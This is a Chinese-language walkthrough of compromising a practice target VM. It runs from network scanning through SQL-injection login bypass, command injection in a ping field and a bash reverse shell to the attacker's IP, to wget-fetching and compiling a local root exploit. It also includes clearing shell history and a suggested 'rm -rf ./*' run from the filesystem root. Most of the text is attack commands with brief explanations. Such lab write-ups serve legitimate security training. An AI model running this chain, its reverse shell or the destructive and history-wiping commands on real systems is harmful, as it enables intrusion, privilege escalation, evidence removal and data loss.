在训练中学习,现在开始打靶之旅吧。
一、准备
1.查看攻击机ip确认网段
ip addr
=> 192.168.5.129
2.主机探测
namp -sP -T5 192.168.5.0/24
.1是主机
.2是网关
.129是攻击机
.131是目标
.254是什么?
3.端口和服务侦测
端口
nmap -sS -T5 -p- 192.168.5.131
服务
nmap -sV -T5 192.168.5.131
看到 80 端口 http 服务开放
探测网站存活情况
curl 192.168.5.131
目录扫描
dirsearch -u http://192.168.5.131:80
(不加port 80也可以)
4.整理信息
端口、服务、版本
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 3.9p1 (protocol 1.99)
80/tcp open http Apache httpd 2.0.52 ((CentOS))
111/tcp open rpcbind 2 (RPC #100000)
443/tcp open ssl/http Apache httpd 2.0.52 ((CentOS))
631/tcp open ipp CUPS 1.1
3306/tcp open mysql MySQL (unauthorized)有效目录
[10:12:04] 301 - 315B - /manual -> http://192.168.5.131/manual/
[10:12:04] 200 - 7KB - /manual/index.html
二、获取权限
1.访问web服务并检测漏洞
经典登录框,尝试弱密码,未成功
结合 3306端口开放的mysql服务,尝试 sql 注入万能密码
admin' or 1=1#
成功登入
提示 Ping 机器,但没有 Ping 的入口,查看源码分析
注意到其中的 cengter 未被引号闭合,且 </td> 标签多余
修改前端
打开开发者工具,在查看器里观察到没有上图标红的代码
右键选择编辑htm代码,插入 Ping 框内容
==》
也可以使用burp抓包,修改返回包的html代码实现
2.ping
127.0.0.1;ls
成功按序执行
3.反弹shell
攻击机监听本地端口
nc -lvp 8999
目标机将shell送到攻击机上。
copy一下代码
127.0.0.1;bash -i >& /dev/tcp/192.168.5.129/8999 0>&1
连接成功
拿到普通控制权限
三、提权
侦测系统和版本信息
uname -a
lsb_release -a
==》 Centos5 4.5 操作系统
查找历史版本漏洞
searchsloit Centos 4.5
当前目录下下载 exp (一定要注意版本对应,比如上图中 4.5 最好是第二个)
searchsploit Centos 4.5 -m linux_x86/local/9542.c
攻击机当前目录开启web服务,操作目标机下载文件
python -m http.server 80
开启成功
cd /tmp
wget http://192.168.5.129:80/9542.c
注意要先切换到tmp目录进行下载,否则权限不够
编译运行
gcc ./9542.c
./a.out
提权成功
删除历史纪录
histosy -c
也可以试试会发生什么
cd /
rm -rf ./*
补充说明
命令汇总
ip addr
namp -sP -T5 192.168.5.0/24
nmap -sS -T5 -p- 192.168.5.131
nmap -sV -T5 192.168.5.131
curl 192.168.5.131
dirsearch -u http://192.168.5.131:80
admin' or 1=1#
127.0.0.1;ls
nc -lvp 8999
127.0.0.1;bash -i >& /dev/tcp/192.168.5.129/8999 0>&1
uname -a
lsb_release -a
searchsloit Centos 4.5
searchsploit Centos 4.5 -m linux_x86/local/9542.c
python -m http.server 80
cd /tmp
wget http://192.168.5.129:80/9542.c
gcc ./9542.c
./a.out
histosy -c
-sP Ping 扫描,用于确定网络中哪些主机存回,不会扫描端口。
-T5 扫描时间,从 0(最慢最隐蔽)到 5(最快最不隐蔽)
192.168.5.0/24 扫描的内网范围,表示 192.168.5.1-254 所有ip
-sS SYN半开放扫描,快速且不容易被检测
-p- 全端口(1-65535)
-sV 服务版本探测
curl http://ip 使用默认的http get请求访问web服务
nc -lvp 8999 在本地机器的 8999 端口上监听传入的连接,并且显示详细信息
bash -i >& /dev/tcp/192.168.5.129/8999 0>&1
bash -i 启动交互式的bash对话
>& 输出重定向
/dev/tcp/192.168.5.129/8999 这是一个特殊的Linux设备文件,用于创建一个TCP连接。这里它被用来建立一个到指定IP地址端口8999的连接
0>&1 将标准输入(文件描述符0)重定向到标准输出(1)。将Bash会话的标准输入输出都通过TCP连接发送和接收。
uname -a
`uname` 是一个在 Unix 和 Unix-like 操作系统中常用的命令行工具,用于显示系统信息。`-a` 参数告诉 `uname` 显示所有可用的信息。当你在终端执行 `uname -a` 命令时,它会返回以下信息:
1. 系统名称:通常是内核名称,对于 Linux 系统来说通常是 `Linux`。
2. 节点名称:主机名,即你的计算机在网络上的名称。
3. 内核版本:操作系统的内核版本号。
4. 机器类型:硬件架构,例如 `x86_64` 表示 64 位 x86 架构。
5. 处理器:有时这个字段可能不显示,或者显示为 `unknown`。
6. 操作系统:完整的操作系统名称,包括发行版和版本号。
7. 版本:操作系统的版本号。
8. 硬件平台:有时这个字段可能不显示,或者显示为 `unknown`。
9. 操作系统构建日期:操作系统构建的时间戳。例如,一个典型的输出可能如下所示:
```
Linux myhostname 5.4.0-42-generic #46-Ubuntu SMP Fri Jul 10 00:24:02 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
```这里,`myhostname` 是节点名称,`5.4.0-42-generic` 是内核版本,`x86_64` 是机器类型,`GNU/Linux` 表示操作系统。
lsb_release -a
`lsb_release` 是一个在基于 Linux 的系统上用来显示 Linux 标准基础(Linux Standard Base, LSB)相关信息的命令。这个工具特别有用,因为它提供了一种标准化的方式来获取发行版的特定信息,这对于编写需要与特定发行版兼容的脚本和软件非常有用。
使用 `-a` 参数(或 `--all`),`lsb_release` 命令会显示所有可用的 LSB 信息,包括发行版的描述、版本号等。输出的具体内容会根据你的 Linux 发行版而有所不同。
以下是执行 `lsb_release -a` 命令可能得到的一部分输出示例:
```
No LSB modules are available.
Distributor ID: Ubuntu
Description: Ubuntu 20.04.1 LTS
Release: 20.04
Codename: focal
```在这个示例中:
- Distributor ID:发行版的标识符,这里是 `Ubuntu`。
- Description:发行版的描述,这里是 `Ubuntu 20.04.1 LTS`。
- Release:发行版的版本号,这里是 `20.04`。
- Codename:发行版的代号,这里是 `focal`,这是 Ubuntu 20.04 版本的代号。请注意,不是所有的 Linux 发行版都支持 LSB,或者可能没有安装 `lsb-release` 包。如果你的系统没有安装这个包,你可能会看到类似 "No LSB modules are available" 的消息。在这种情况下,你可能需要安装 `lsb-release` 包,或者使用其他方法来获取你的发行版信息。
searchsloit Centos 4.5
searchsploit Centos 4.5 -m linux_x86/local/9542.c
searchsploit
是 Exploit Database 提供的一个工具,用于快速搜索和下载漏洞利用代码。Exploit Database 是一个庞大的漏洞和安全漏洞数据库,它包含了许多已知漏洞的详细信息和相关利用代码。
其他
1.删
2.操作数据库
尝试翻了一遍默认目录也没找到,暂时先这样了
思考一下拿到权限后能做的其他事?